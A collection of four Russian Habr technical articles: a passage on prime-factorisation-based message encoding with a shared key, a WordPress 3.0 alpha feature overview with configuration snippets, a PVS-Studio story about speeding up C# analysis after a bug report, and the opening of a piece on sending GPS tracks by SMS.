Позвольте немного расскажу откуда вообще взялась эта тема. Давным-давно от одного хорошего человека- [ivlad](https://habrahabr.ru/users/ivlad/) взял почитать и вот пока никак не отдам (прости пожалуйста) интересную книжку [1], где, написано: «в свою очередь криптография сама может быть разделена на два направления, известные как перестановка и замена».
Соответственно почти сразу появились следующий вопросы:
* т.к. перестановка и замена сохраняют количество информации, то можно ли сделать так, чтобы обойти это ограничение, и передавать информации меньше чем есть в сообщении, — отсюда (из «а не слабо ли») родилась первая часть;
* если задача выглядит решаемой, то есть ли само решение и хотя бы толика математического смысла в нём – этот вопрос и есть тема этой части;
* есть ли во всём этом практический смысл – вопрос пока открыт.
### Что общего у ворона и письменного стола?
Картинка взята [отсюда](http://www.proza.ru/2010/06/03/1070).
Загадка Кэрролла в заголовке дана как иллюстрация проблемы, которую необходимо решить. А именно: определить пару функций  — кодирования и  — декодирования, удовлетворяющих следующим условиям:
*  –объём передаваемой информации по Шеннону меньше объёма информации в исходном сообщении
*  – функция декодирования, применённая к закодированному сообщению, позволит однозначно восстановить исходное сообщение.
Здесь  – объём информации по Шеннону [2] (в предположении, что все символы встречаются равновероятно, что в общем случае неверно, но для используется для простоты изложения) в сообщении ,  — ключ,  – закодированное сообщение.
Для того, чтоб упростить себе дальнейшие рассуждения давайте ограничимся в дальнейшем сообщениями, которые можно привести в числовую форму, что с одной стороны нас не особо ограничивает (т.к. любому символу можно присвоить соответствующий числовой код), а с другой позволит воспользоваться математикой в нужном объёме.
Итак, рассмотрим сначала для примера два числа  и  и, воспользовавшись основной теоремой арифметики [4] (любое натуральное можно разложить на произведение простых) найдём следующие параметры:
* Наименьший общий делитель  и  – , его простые делители ![$[2,3,11,19]$](https://habrastorage.org/getpro/habr/formulas/1c6/9db/a58/1c69dba58062d563490314fa8c7ee239.svg),
* Частное  и его простые делители ![$[5,7,17]$](https://habrastorage.org/getpro/habr/formulas/daa/a54/4d1/daaa544d1233abfac3a57f76fd8a5993.svg), которое обозначим как ,
* Разложение числа  на простые множители: ![$[2,3,11,19, 39 979]$](https://habrastorage.org/getpro/habr/formulas/1ca/5ea/c5f/1ca5eac5f298e1fd3a5b96877428e6b1.svg),
* Разложение числа  на простые множители: ![$[2,3,5,7,11,17,19]$](https://habrastorage.org/getpro/habr/formulas/687/69a/899/68769a899f73bfa8170253ebd14f6b85.svg).
Запишем всё это в табличном виде, где синим помечена общая часть информации между ключом и сообщением, жёлтым — информация уникальная для ключа, оранжевым – уникальная для сообщения:
Сразу же становится видно, что  представляет из себя общую часть между ключом  и сообщением , которая есть и у отправителя и у получателя. Таким образом, в идеале конечно, а не в реальности, достаточно передать информацию об:
* уникальной для сообщения информации — том, что не относится к  т.е. ![$[39 979]$](https://habrastorage.org/getpro/habr/formulas/828/fa6/98a/828fa698a2bc4e648706717d6c6a2e33.svg), а именно ,
* самом , но так, чтобы его нельзя было бы восстановить.
Пометим теперь позиции простых делителей  общие с простыми делителями , единицами, а остальные, кроме, может быть ведущей позиции – нулями.
Получившееся число  в достаточной степени характеризует , позволяя тем самым восстановить исходное сообщение. Т.е. получив на вход два числа ![$[39 979, 83]$](https://habrastorage.org/getpro/habr/formulas/edf/1d8/52b/edf1d852bdf7c7bc1e8ab0d1cad463e4.svg) необходимо сделать достаточно простое обратное преобразование:
Если теперь оценить длину исходного сообщения в двоичном виде ![$len_2(m) = len_2([1111010000011100100000100])= 26$](https://habrastorage.org/getpro/habr/formulas/0a5/efb/52d/0a5efb52d3f8fd5b79a50a30e5eb519e.svg) и сообщения ![$len_2([c_0,c_1])= len_2([1001110000101011, 1010011]) = 23$](https://habrastorage.org/getpro/habr/formulas/55f/f6f/8dd/55ff6f8dd5a1ff4b389734d87086bebf.svg), то видно, что можно получить экономию длины сообщения в  бита, то же самое и с количеством информации  бит, ![$I(c)=I([c_0,c_1])=11.5$](https://habrastorage.org/getpro/habr/formulas/916/bf1/c33/916bf1c338b0de7b75a9f0d2a9aa3b72.svg) бита. Здесь функция  — длина числа в двоичном виде.
Таким образом, выражаясь словами из известного анекдота «в Шотландии есть как минимум одна овца, черная как минимум с одной стороны» [3].
Итак, что на данный момент имеем — данный способ кодирования подходит, **но** только для пар чисел, имеющих в разложении одинаковые делители. В противном случае, если, например, взять в качестве ключа и в качестве сообщения простые числа, то очевидным образом мы ничего сократить не сможем, а только увеличим и длину сообщения, как и количество передаваемой информации, а это вовсе не то, чего добивались. Эта же ситуация повторяется и в случае когда, например,  или же  т.к. экономия будет либо минимальной либо будет отсутствовать в принципе.
### Что делать…
для того, чтобы повысить вероятность успеха при таком способе кодирования?
В общем-то если внимательно посмотреть на ключ, то видно, что он неплохо делится на простые числа , что сделано специально для успешности операции нахождения . Так как такая операция негативно может повлиять на количество используемых ключей, то определяя порядок следования простых множителей и сделав его частью ключевой информации, получим, хоть и не радикальное, но увеличение количества вариантов кодирования, что положительным образом отразиться на количестве ключей. Использовав вместо ключа не число ![$[746 130]$](https://habrastorage.org/getpro/habr/formulas/86e/89d/9d6/86e89d9d649251c7786e0d0e0ffb0a76.svg), а пару ![$[746 130, 0125763]$](https://habrastorage.org/getpro/habr/formulas/b34/784/2b6/b347842b6d53e32888641b5c9be28101.svg), где второе число отражает порядок перемножения и определяет значение .
Следующая проблема, которую предстоит эффективно решить – соотношение частот появления простых чисел и степеней двойки, -легко заметить, что эффективность кодирования степенями двойки довольно быстро падает с ростом длины  (см. график соответствующих последовательностей если есть один общий простой делитель) и зависит в основном от количества делителей ключа и их значений.
В случае если, общих делителей два и один из них, например, равен , то возможности по экономии возрастают весьма заметно.
Что означает, что для эффективного кодирования необходимо придумать более эффективный способ кодирования .
То есть тему есть смысл прокапывать дальше.
### Пример
Как обычно выложены на github [[5]](https://github.com/rumiantcev/nod_code) – используется Excel т.к. он есть у многоих и нет необходимости думать о совместимости. В файле две закладки:
* **«Тест»** — сами вычисления и т.к. в них довольно активно используется функция Excel «СЛУЧМЕЖДУ()» и числа ключа и сообщения могут оказаться взаимно простые, то придётся несколько раз встать в какую либо ячейку и нажать `enter` для того, чтобы получить искомую экономию (результаты в строчках 31-36);
* **«Пример 1»** – приведены примеры готовых вычислений, т.к. случайность в excel не оставляет им шанса на повторение.
### Ссылки
1. Сингх Саймон. Книга шифров. Тайная история шифров и их расшифровки. М. Астрель 2007.
2. <https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D1%8D%D0%BD%D1%82%D1%80%D0%BE%D0%BF%D0%B8%D1%8F>
3. <http://www.gaelic.ru/Biblioteka/Folklore/anekdoty.htm>
4. <https://ru.wikipedia.org/wiki/%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D0%BD%D0%B0%D1%8F_%D1%82%D0%B5%D0%BE%D1%80%D0%B5%D0%BC%D0%B0_%D0%B0%D1%80%D0%B8%D1%84%D0%BC%D0%B5%D1%82%D0%B8%D0%BA%D0%B8>
5. <https://github.com/rumiantcev/nod_code> | https://habr.com/ru/post/345962/ | null | ru | null |
# WordPress 3.0: новые возможности. Более детально
На хабре уже были статьи о новых возможностях WordPress 3.0, но после того как в мои руки попала альфа-версия, я решил рассказать Вам более подробно, что нового и интересного появилось в третьей версии.
#### Установка
Установка WordPress 3.0 почти не изменилась, за исключением одного — теперь можно вводить свой логин и пароль. Конечно, хотелось бы увидеть это давно, но разработчики решили добавить эту возможность, только начиная с версии 3.х
#### Вход, регистрация
Вот как выглядит окно входа — ничего не изменилось. Как всегда. Но…
…представляю Вам новую фишку — «Дрожалка» :) Дело в том, что разработчики решили добавить немного анимации. Если пользователь введёт неверный параметр (логин или пароль), кроме ошибки окно ввода немного подёргается в разные стороны (стрелки — это куда будет мотаться окошко).
Только как дизайнерская штучка. Но прикольно. :)
#### Административная панель
Вот мы и подобрались к главному окну WordPress – админ консоле. Многие писали, что она подвергнется кардинальному изменению, но в моей версии (WordPress 3.0 Alpha) я ничего не обнаружил такого, что могло бы заставить трепетать.
[](http://img.picsa.ru/pictures/0/000/039/944/39944.jpg)
Вот только то, что я обвел и изменилось. И то — чисто внешне. Первое: добавили Privacy On/Off. Показывает, включена ли приватность от поисковиков. Второе: внешнее изменение виджета «Прямо сейчас». Почти незаметно.
#### Тема оформления
Новая тема оформления пока сыровата. Есть небольшие недочёты, но скажу, что тема обновляется каждый день, поэтому к выходу WordPress всё будет хорошо.
#### Мультиблог
Как все знают, начиная с новой версии, WordPress и WordPress MU теперь единое целое. Давайте рассмотрим немного подробнее данную функцию.
По умолчанию, функция мультиблога (не знаю, как это будет реализовано в релизе) будет отключена. Чтобы включить её нужно будет добавить в конфигурационный файл строчку:
`define('WP_ALLOW_MULTISITE', true);`
Далее, в консоли появится пункт «Network»
Далее, заходим туда и выполняем два небольших шага установки. Первый — указать, каким образом создавать новые сайты (либо [name.site.ru](http://name.site.ru) или [site.ru/name](http://site.ru/name)), и второй — настроить файл wp-config.php и .htaccess
Если Вы всё сделали правильно, то можете смело перейти в главное меню админ консоли или обновить страницу. Поздравляю. Теперь Вы «Супер админ»! :)
Если дальше показывать скриншоты, то получиться очень накладно. Скажу, что появится много различных настроек. Можно будет указать, сколько места Вы выделяете под каждый сайт, что пользователи могут загружать (картинки, видео, музыку) и каким максимальным размером могут быть загружаемые файлы. Так же можно будет настроить отправку писем регистрации (шаблон, текст), указать какие темы оформления будут доступны всем пользователям, а какие только VIP-персонам. В виджете «Прямо сейчас» (из скриншота выше видно), можно следить за занятым дисковым пространством.
Можно говорить много. Но я остановлюсь.
#### Безопасность
В версии 3.0 позаботились и о безопасности. Ведь теперь можно создавать много сайтов и вероятность взлома увеличивается. Я ещё не успел исследовать всё, заметил только, что в файлы, отвечающие за работу админки, были добавлены строчки кода:
`if ( ! current_user_can('manage_options') )
wp_die(__('You do not have sufficient permissions to manage options for this blog.'));`
Если кто знает больше о новых методах защиты, то пишите в комментариях — будет очень интересно.
#### Пользовательские записи
Теперь добавлять новости станет куда интереснее. Пользовательские записи позволят создавать много различных типов для статей, например, можно объединить в одной группе «Фильмы», «Актёры», «Жанры» и т.п. Давайте рассмотрим всё это на примере.
Создадим запись «Игры». Для этого в файле functions.php темы добавим строчку:
`function post_type_games() {
register_post_type( 'games',
array( 'label' => __('Игры'), 'public' => true, 'show_ui' => true ) );
register_taxonomy_for_object_type('post_tag', 'games');
}
add_action('init', 'post_type_games');`
*В меню админки теперь появится раздел Игры.*
Теперь попробуем добавить в «Игры» категорию «Жанр» и метки «Разработчик». Для этого в том же functions.php поправим код, который я указал выше:
`function post_type_games() {
register_post_type(
'games',
array(
'label' => __('Игры'),
'public' => true,
'show_ui' => true,
)
);
register_taxonomy( 'genre', 'games', array( 'hierarchical' => true, 'label' => __('Жанр') ) );
register_taxonomy( 'developer', 'games',
array(
'hierarchical' => false,
'label' => __('Разработчик'),
'query_var' => 'developer',
'rewrite' => array('slug' => 'developer' )
)
);
}
add_action('init', 'post_type_games');`
*Получили:*
Теперь при написании, новости будут относиться к Играм, но при этом можно указать категорию «Жанр» и добавить метку «Разработчик». Фантазия не имеет границ — можно создавать и комбинировать различные посты.
#### Разное
Кроме всего прочего говорили ещё о многих фишках. Например, о Гиде, который будет помогать, и рассказывать о новых возможностях, но в моей версии его пока нет.
Возможность более удобного управления меню на сайте (в связи с этим передвинули сроки выхода WordPress), пока имеет много неработающих элементов. Но в будущем это очень упростит работу с сайтом.
Вот ещё немного картинок:
*Функция экспорта новостей стала более гибкой.*
*Смена картинки в шапке:*
*Настройка другого сайта*
#### Для тех, кто хочет опробовать 3.0
Вообще, уже 15 марта должна была выйти публичная бета версия движка, но пока тишина. Если хотите опробовать 3.0 прямо сейчас, то можно с помощью такой программы как TortoiseSVN (или любых подобных) сделать чекаут на <http://core.svn.wordpress.org/trunk/> и получать последние обновления.
#### Заключение
Скажу от себя, что смотря на развитие WordPress, можно отметить, что разработчики делают упор на удобство и простоту использования движка. Это хорошо. Но при этом они совершенно не смотрят в сторону производительности. WordPress 3.0 по-прежнему «кушает» также как и его собратья. Я не опробовал ещё мультиблоговую систему в деле, но когда на сервере будет много сайтов на одном WordPress (и все они будут делать различные запросы), то не думаю, что нагрузка будет маленькой.
**Update: добавил про пользовательские записи немножко :)** | https://habr.com/ru/post/87840/ | null | ru | null |
# Слава баг-репортам, или как мы сократили время анализа проекта пользователя с 80 до 4 часов
Работа в поддержке часто воспринимается как что-то негативное. Напрасно! Сегодня мы постараемся взглянуть на неё под иным углом. За основу возьмём реальное общение: больше 100 писем в переписке, исключения, анализ, который не завершается за трое суток...
Вообще баг-репорты – это здорово! Если есть баг-репорт, который адекватно обрабатывается с обеих сторон, это значит, что в решении проблемы заинтересован как пользователь, так и производитель ПО. Как следствие, возможен win-win для обеих сторон.
Перед тем как перейдём непосредственно к разбору полётов, небольшая вводная для читателя, который раньше не слышал о нас. Мы занимаемся разработкой статического анализатора [PVS-Studio](https://pvs-studio.com/ru/pvs-studio/), который ищет ошибки и потенциальные уязвимости в коде на C, C++, C# и Java. Ваш покорный слуга – тимлид команды разработки C# анализатора, автор статей, текстов и постов.
С чего всё началось?
--------------------
Для меня эта история началась примерно так – приходит коллега и говорит: "Есть пользователь с C# проектом, у него анализ не проходит за 80 часов". 80 часов, с ума сойти!
На этом скриншоте, кстати, видна одна интересная деталь – осталось проанализировать последний файл. Однако этот самый файл висел достаточно долго, а значит, мы имеем дело с зависанием – в файле встретилось что-то такое, что анализатор не смог переварить за адекватное время.
Дальше – интереснее. Я посмотрел предыдущую историю переписки, а также уточнил несколько моментов, после чего стало понятно, что:
* подготовка проекта к анализу длится 2-3 часа. Это ***очень*** долго;
* многие файлы при анализе отваливаются по таймауту, если он выставлен;
* есть зависание, из-за которого анализ не проходит за 80 часов;
* даже безотносительно зависания анализ идёт медленно – проверка 17 000 файлов из 20 000 заняла 36 часов;
* есть исключения со stack traces.
Пользователь:
> Явно, такие солюшны тестировать одним разом — это не то, на что вы рассчитывали. Я смотрю код проекта и, как мне кажется, я ограничусь рекомендацией вашего продукта (если у меня будут результаты теста, конечно) и на этом закончу. Что-то делать в этом кошмаре — это самоубийство.
С одной стороны – это полный провал. Больше граблей собрать было, наверное, и нельзя. Более того – всё это надо же ещё будет править… При этом стоит отметить, что мы регулярно тестируем анализатор на ряде open source проектов, и там такой картины, естественно, не наблюдается.
С другой – это просто драгоценная находка! Мы сидели себе, занимались всякими делами (например, [поддерживали OWASP и делали taint-анализ](https://pvs-studio.com/ru/blog/posts/csharp/0831/)) и знать не знали, что на некоторых проектах происходит такой бардак! А сколько ещё людей столкнулись с подобной проблемой, но ничего не написали в поддержку? Это был тот шанс улучшить анализатор PVS-Studio для C#, который нельзя было упускать.
И тут может возникнуть вопрос...
А вы анализатор совсем что ли не тестируете?
--------------------------------------------
Да в том-то и дело, что тестируем! В частности, как я писал выше, у нас есть ряд отобранных open-source проектов, на которых регулярно запускается анализатор. Соответственно, мы знаем суммарное время работы анализатора на всех проектах, а также для каждого из них есть информация:
* о выданных предупреждениях;
* количестве потребляемой памяти;
* времени анализа.
Таким образом, удаётся отслеживать, что анализатор на тестовой базе выдаёт хорошие срабатывания, не замедляется и не начинает потреблять больше памяти. Если что-то из этого всё же происходит, значит либо пришло время вносить какие-то доработки, либо идти на компромиссы.
Наиболее 'тяжёлым' проектом из нашего списка является Roslyn. Он содержит примерно 11к файлов для анализа, а время проверки составляет около 1 часа 45 минут. При этом подготовка проекта идёт несколько минут. Объёмы проекта (по крайней мере, по количеству файлов) примерно сопоставимы с пользовательским (в том плане, что не отличаются на порядок), чего нельзя сказать про время анализа и подготовки...
Здесь стоит отметить, что о некоторых проблемах производительности мы знали, но до этого момента их не правили. Почему? Приоритеты. Проблемы выглядели неприятно, но не более того. Да и не жаловался никто на них. Нам же и кроме них было чем заняться.
Однако для очистки совести я всё же упомяну те проблемы, о которых мы знали, но которые до сих пор "пылились на полке".
Известные проблемы производительности
-------------------------------------
**Неэффективная работа диагностики V3083**
Диагностика [V3083](https://pvs-studio.com/ru/docs/warnings/v3083/) ищет небезопасные вызовы событий, которые потенциально чреваты возникновением *NullReferenceException* в многопоточном коде.
Опасный код выглядит следующим образом:
```
public event EventHandler MyEvent;
void OnMyEvent(EventArgs e)
{
if (MyEvent != null)
MyEvent(this, e);
}
```
Опасность в том, что, если между проверкой на *null* и непосредственным вызовом события у него не останется обработчиков, возникнет исключение типа *NullReferenceException*. Больше подробностей можно найти в [документации](https://pvs-studio.com/ru/docs/warnings/v3083/).
Логика диагностики была написана таким образом, что сначала искалось объявление события, затем – все места его использования. Это немного странно, так как кажется логичным идти от небезопасного вызова события, но имеем, что имеем. Для поиска мест вызова события использовался метод из Roslyn – *SymbolFinder.FindReferencesAsync*.
Мы знали, что:
* логику бы стоит переписать согласно той, что я описывал выше;
* метод *SymbolFinder.FindReferencesAsync* работает не очень оптимально. При изменении логики он не понадобится.
Однако, так как в целом всё работало нормально, задача оставалась записью в TODO-листе.
**Неэффективное использование CPU**
Проблема была заметна на некоторых проектах, но особенно выделялась на Roslyn – в определённый момент загрузка процессора падала примерно до 15 % и держалась так какое-то время, после чего снова возрастала. Эта особенность была замечена во время первых глобальных работ по оптимизации анализатора (почитать про них можно [тут](https://pvs-studio.com/ru/blog/posts/csharp/0836/)), но исследовать вопрос более детально тогда руки не дошли.
Время правок
------------
Благодаря письму пользователя у нас оказался обширный фронт работ, и, декомпозировав задачи, мы постепенно начали вносить исправления.
**Падения**
Здесь особо хитрого ничего не вышло – берём и правим. В основном проблемы были на связке дерево-семантика.
**Диагностики**
Были выявлены проблемы на двух диагностиках: [V3083](https://pvs-studio.com/ru/docs/warnings/v3083/) и [V3110](https://pvs-studio.com/ru/docs/warnings/v3110/). Ох, опять эта V3083… Здесь уже наша чаша терпения оказалась переполнена. В итоге мы просто взяли и переписали её. О том, что в итоге получилось и какие улучшения производительности были достигнуты, можно почитать в [отдельной заметке](https://pvs-studio.com/ru/blog/posts/csharp/0823/).
Не вдаваясь в детали, можно сказать, что в диагностике V3110 проблема была связана с многократной обработкой одних и тех же элементов. Исключение повторной обработки (слава ассоциативным контейнерам!) решила проблему.
Правда, в момент написания этой статьи обнаружился ещё один фрагмент кода, на котором V3110 работает, скажем прямо, долговато. Так что скоро мы к ней ещё вернёмся.
**Прочие оптимизации**
Заголовок вышел каким-то очень общим. Но на самом деле так оно и есть – правок было много, причём достаточно разношёрстных. Основной целью было снижение нагрузки на GC, отмеченной по результатам профилирования анализатора.
[Полноразмерное изображение доступно здесь](https://hsto.org/webt/zz/y8/yw/zzy8ywi4t3expgoat8a08kchqj0.png).
Какие-то правки касались внутренней кухни, и здесь о них распинаться особо смысла нет: где-то добавились кэши; где-то мы научились более быстрым вычислениям (например, сравнение некоторых узлов дерева) и т.п.
Если говорить о более общих правках, касающихся C# / .NET – было много интересного. Например, я внезапно для себя обнаружил, что вызов *GetHashCode* для элементов перечисления (enum) приводит к упаковке. Правда, только в .NET Framework. В .NET с этим всё отлично – никакой упаковки. Более подробно нюансы с упаковкой перечислений я описывал в [отдельной статье](https://pvs-studio.com/ru/blog/posts/csharp/0844/).
По результатам профилирования выявлялись и точечно правились места, за которые в обычной жизни взгляд бы мог и не зацепиться. Например – LINQ. Есть куча мест в анализаторе, в которых LINQ существует и не мешает, однако есть и такие, где от его использования лучше воздержаться. С большим количеством деталей я расписал разные оптимизации в [этой статье](https://pvs-studio.com/ru/blog/posts/csharp/0852/).
Отдельно хочу выделить простейшую (с точки зрения изменений) правку, давшую значительный прирост производительности – изменение режима работы сборщика мусора. Сами мы за это как-то не зацепились, а идею нам подкинули на одной из площадок в комментариях к ещё одной статье про [оптимизации](https://pvs-studio.com/ru/blog/posts/csharp/0836/).
В итоге после всех этих правок мы получили *значительное* сокращение времени анализа крупных проектов из наших тестов.
Например, время анализа уже упоминавшегося Roslyn упало более чем в 2 раза!
При этом мы решили обе проблемы, о которых знали ранее, – V3083 была переписана, а ресурсы CPU теперь использовались как следует.
Продолжаем общение
------------------
Кажется, самое время выдать пользователю бету! На самом деле, мы даже выдали две – одну с правками падений и оптимизаций, вторую – дополнительно с новым режимом сборки мусора.
Прогресс анализа с первой бетой был таким.
Результат налицо! 14.5 часов против 36 при анализе 16.4к файлов против 17к – это здорово. Но всё же недостаточно, хотелось бы побыстрее.
Вторая бета, как я упоминал выше, включала уже и оптимизации, и новый режим сборки мусора. Результаты по ней оказались следующими.
Пользователь:
> Вау! .config сделал чудо.
Супер! Выходит, всё было сделано не зря.
Однако оставалась ещё одна проблема – подготовка проектов к анализу, которая, напомню, длилась несколько часов.
Оптимизации, которые описывались раньше, относились к анализу проектов и никак не затрагивали фазу подготовки. Была некоторая надежда, что новый режим сборки мусора решит проблему. Увы, эта надежда не оправдалась. Так что впереди у нас был ещё один раунд улучшений – оптимизация подготовки проектов.
Оптимизация подготовки проектов
-------------------------------
Пользователь:
> Завершилась подготовка, шла от 10:13 и до 13:08, 2:55.
Время подготовки проектов у пользователя варьировалось где-то между 2 и 3 часами. 2:55 было скорее исключительным случаем, так как чаще фигурировало значение в 2 часа. Но в любом случае — 2 часа подготовки при 5.5 часах анализа недопустимы. Да и независимо от времени анализа – какая подготовка на несколько часов?!
Кстати, а что вообще за подготовка проектов такая? На этом этапе выполняется парсинг проектов, построение их модели (evaluation), восстановление зависимостей, если нужно, и много чего ещё. Причём многие действия выполняются средствами Roslyn и MSBuild, из-за чего у меня были определённые опасения. Так как код MSBuild и Roslyn внешний (мы используем NuGet-пакеты), править его мы не можем. Соответственно, если зависания происходят в этих библиотеках – дело плохо.
Однако достаточно быстро удалось расставить точки над 'i' – косячим мы. Оказалось, что порой анализатор мог считать, что у проекта может быть несколько десятков тысяч зависимостей. Проблема достаточно легко воспроизвелась на синтетическом примере.
500к зависимостей – неплохо, да? Дело было в том, как анализатор обрабатывал транзитивные зависимости проектов. Он не учитывал уникальность зависимостей – одни и те же проекты могли отправляться на обработку раз за разом. Немного подробнее я описал это в [отдельной заметке](https://pvs-studio.com/ru/blog/posts/csharp/0864/).
Что нам нужно было сделать, так это не обрабатывать повторно одни и те же зависимости. Правка внесена, скидываем пользователю бету, иии...
Пользователь:
> 15:50 запуск скана солюшна
>
> 15:51 начало проверки проектов.
>
> 15:54 проверка закЧТОООААА?! Что это за магия, почему не 2 часа, а 4 минуты?
Фикс попал в цель, и это радует. :) График ниже более наглядно демонстрирует разницу по времени подготовки проекта до внесения исправлений и после.
Кстати, забавная вышла ситуация. Код, в котором была проблема, находится в анализаторе со стародавних времён. При этом раньше никто не жаловался на долгую подготовку проекта. Однако, как только я занялся изучением проблемы, написало сразу несколько человек, у которых была подозрительно похожая ситуация с долгой подготовкой.
Повторюсь, это не мы что-то задели своими оптимизациями. Но совпадение вышло уж очень интересным – как-то так получилось, что несколько человек решили попробовать C# анализатор, столкнулись с этой проблемой и написали про неё примерно в одно время. Кто-то, например, решил вдобавок к C++ проектам анализировать и C#, кто-то просто решил проанализировать свой проект и сразу напоролся на это. В итоге я знаю как минимум о 4 пользователях, которым помогли описанные выше правки.
Итоги
-----
С чего начинали:
* падения;
* подготовка проекта: точно неизвестно, но больше 2 часов;
* зависание;
* анализ: не завершается за 80 часов из-за зависания; безотносительно зависания — не проходит за 77+;
К чему пришли:
* подготовка проекта: 4 минуты;
* анализ проекта: 4.5 часа.
Приятные бонусы:
* проведённые оптимизации являются общими, а не заточены под конкретный проект. Следовательно, производительность анализатора возросла на всех крупных проектах;
* решение проблемы с долгой подготовкой проектов помогло как минимум 4 пользователям, в том числе двум клиентам;
* был написан целый ряд интересных статей / заметок.
Выводы
------
На описанную ситуацию можно смотреть по-разному.
Можно сказать, что всё ужасно, ничего не работает, и вообще жизнь – тлен. Исключения – вылетают, зависания – есть, анализатор – тормозит.
С другой стороны, можно видеть в этом возможность сделать лучше продукт, помочь решить проблему конкретному пользователю, а также многим остальным. Кто знает, сколько ещё людей столкнулось с чем-то похожим, но решило не писать в поддержку?
Лично мне по душе больше второй вариант. Считаю, что нужно уметь видеть вокруг возможности и хорошее как в жизни в целом, так и на работе в частности. Круто же заниматься тем, что приносит удовольствие? Порой просто нужно взглянуть на вещи немного под другим углом.
Кстати, если вы до сих пор не используете статический анализ – что ж, вот вам знак, чтобы [начать](https://pvs-studio.com/ru/pvs-studio/try-free/). И не забывайте подписываться на мой [Twitter-аккаунт](https://twitter.com/_SergVasiliev_), чтобы не пропустить ничего интересного. ;)
Благодарность
-------------
Отдельно хочу сказать большое спасибо пользователю, благодаря которому и стала возможной эта статья, а также описанные в ней оптимизации и улучшения. Общение на 100+ писем – это мощно. Ждать завершения анализа по 80 часов – терпения тебе точно не занимать.
Спасибо за вклад в развитие нашего анализатора!
Дополнительные ссылки
---------------------
Здесь продублирую ссылки на статьи, упоминавшиеся в тексте. В них с большим количеством технических деталей описываются тонкости C# / .NET, с которыми пришлось столкнуться; проблемы, которые были решены, а также то, как, собственно, мы их решали.
* [Оптимизация .NET приложения: как простые правки позволили ускорить PVS-Studio и уменьшить потребление памяти на 70%](https://pvs-studio.com/ru/blog/posts/csharp/0836/)
* [Roslyn API, или из-за чего PVS-Studio очень долго проект анализировал](https://pvs-studio.com/ru/blog/posts/csharp/0823/)
* [Подводные камни при работе с enum в C#](https://pvs-studio.com/ru/blog/posts/csharp/0844/)
* [Оптимизация .NET приложений: большой результат маленьких правок](https://pvs-studio.com/ru/blog/posts/csharp/0852/)
* [PVS-Studio C#: что делать, если подготовка проектов идёт слишком долго или зависает?](https://pvs-studio.com/ru/blog/posts/csharp/0864/)
* [OWASP, уязвимости и taint анализ в PVS-Studio C#. Смешать, но не взбалтывать](https://pvs-studio.com/ru/blog/posts/csharp/0831/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Sergey Vasiliev. [All hail bug reports: how we reduced the analysis time of the user's project from 80 to 4 hours](https://habr.com/en/company/pvs-studio/blog/588831/). | https://habr.com/ru/post/588833/ | null | ru | null |
# Передача GPS-трека по SMS
У вас прогрет распределённый и отказоустойчивый бэкенд, написано крутое мобильное приложение под все возможные платформы, но, внезапно, выясняется, что ваши пользователи так далеки от цивилизации, что единственный способ связи с ними — это SMS? Тогда вам будет интересно прочитать историю о том, как передать максимум информации, используя этот архаичный канал для передачи данных, на примере GPS-трека.
Немного про GPS-трек
--------------------
В нашем конкретном случае под треком подразумевалась последовательность *точек*, задаваемых *координатами*, в которых находился пользователь, с привязкой ко *времени* и, возможно, некоторыми *флагами* (например, SOS, начало трека).
*Время* можно было определять таким способом:
```
long time= System.currentTimeMillis();
```
*Координаты* — это долгота и широта. В объекте [Location](https://android.googlesource.com/platform/frameworks/base/+/refs/heads/master/location/java/android/location/Location.java) в Android используется double для longitude и latitude.
Таким образом, каждая точка трека должна была содержать в себе 64 + 2 \* 64 + 2 = 194 бита информации.
Немного про SMS
---------------
**Байка про SMS**В нулевые в студенческие годы на базах отдыха за пределами города проходили всевозможные зимние выездные школы и молодёжные конференции. В ту пору надёжное покрытие сотовой связи за городом было редкостью, а своим родителям как-то надо было сообщить, что жив-здоров, не замёрз и шапку не забыл. Вот тогда-то и приходило понимание, что SMS'ки вещь нужная и полезная. Отправить SMS с земли не получалось, а вот на некоторой высоте — на второй-третий раз удавалось. Надёжнее всего было привязать телефон к длинной палке, набрать и отправить сообщение, поднять палку вверх, подержать её некоторое время вертикально, затем проверить — отправилось ли сообщение, в случае необходимости — повторить процедуру. Некоторые особо отчаянные подбрасывали телефоны вверх в надежде отправить таким образом SMS'ку — сообщения-то отправлялись, да только потом приходилось искать свою Nokia в сугробе. На моей памяти ни один телефон не потеряли, не разбили — Nokia же.
Кто пользовался (пользуется) SMS помнит, что кириллицей можно набирать 70 символов в одну SMS, а транслитом — целых 160! Вот где несправедливость, а вы говорите санкции.
О том, как же устроена SMS'ка можно почитать в [RFC 5724](https://www.ietf.org/rfc/rfc5724.txt):
> GSM SMS messages are alphanumeric paging messages that can be sent to
>
> and from SMS clients. SMS messages have a maximum length of 160
>
> characters (7-bit characters from the GSM character set [SMS-CHAR]),
>
> or 140 octets. Other character sets (such as UCS-2 16-bit
>
> characters, resulting in 70-character messages) MAY also be supported
>
> [SMS-CHAR], but are defined as being optional by the SMS
>
> specification. Consequently, applications handling SMS messages as
>
> part of a chain of character-processing applications MUST make sure
>
> that character sets are correctly mapped to and from the character
>
> set used for SMS messages.
Таким образом, в качестве полезной нагрузки можно использовать 140 байт, которые превращаются в те самые 160 символов для 7-битной кодировки (латиница, цифры и ещё [некоторое количество символов](https://en.wikipedia.org/wiki/GSM_03.38)).
Допускается отправлять значительно большее количество текста, но тогда исходное сообщение будет разбито на части. Каждая часть будет меньше на 6 байт, так как информация о сегментах сохраняется в специальном заголовке [UDH](https://en.wikipedia.org/wiki/Concatenated_SMS) в начале каждого кусочка. В 7-битных символах остаётся 153.
В теории поддерживается разбиение до 255 сегментов, на практике же видел гарантированную поддержку только 6 сегментов.
Бинарный формат: Заголовок
--------------------------
Для помещения бинарных данных трека в SMS должно было быть использовано простое и совместимое с 7-битной кодировкой Base64 преобразование, которое на выходе на каждые три байта исходных данных выдаёт четыре 7-битных символа. Итого, полезных данных остаётся уже не так много — всего-то 160 \* 3 / 4 = 120 байт.
Приложению пророчилось большое будущее, поэтому разрабатываемый формат не должен был ограничиваться как одним типом сообщения, так и одной версией протокола, поэтому под messageType был отведён тип short.
Поскольку данные должны были поступать по SMS, где нет привычных для классического web-а сертификатов, паролей и аутентификаций, нужно было научиться привязывать получаемое сообщение к пользователю системы: был введён authenticationToken типа long, генерируемый случайным образом.
Для контроля целостности было добавлено поле с контрольной суммой checksum типа short.
Общий размер заголовка стал равен 2 + 8 + 2 = 12 байтам.
